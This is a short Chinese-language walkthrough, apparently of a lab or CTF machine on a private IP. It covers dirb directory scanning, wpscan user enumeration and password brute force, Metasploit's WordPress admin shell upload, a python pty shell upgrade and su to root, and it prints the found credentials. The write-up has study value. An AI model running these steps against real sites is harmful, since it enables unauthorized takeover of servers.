（目录扫描）
开始使用dirb进行目录扫描dirb http://192.168.124.56/

从目录扫描看出他有wordpress所以先试试之前使用过的工具wpscan

wpscan --url http://192.168.124.56/wordpress/ -e u

成功得到账号c0rrupt3d_brain，现在继续破解他的密码
wpscan --url http://192.168.124.56/wordpress/ -e u -P /chen.txt

成功破解出密码24992499

现在开始使用msfconsole 使用模块

unix/webapp/wp_admin_shell_upload
set RhOSTS 192.168.124.56
set USERNAME c0rrupt3d_brain
set PassWORD 24992499
set targeturi /wordpress
run

直接进入他的家目录之后cd root3r 进来之后发现有一个文件似乎是root密码文件

现在进行查看发现似乎是密码，既然已经知道了密码所以接下来进入交互页面如下图：

shell
python -c "import pty;pty.spawn('/bin/bash')"
su root

密码输入为:willy26

成功拿到root
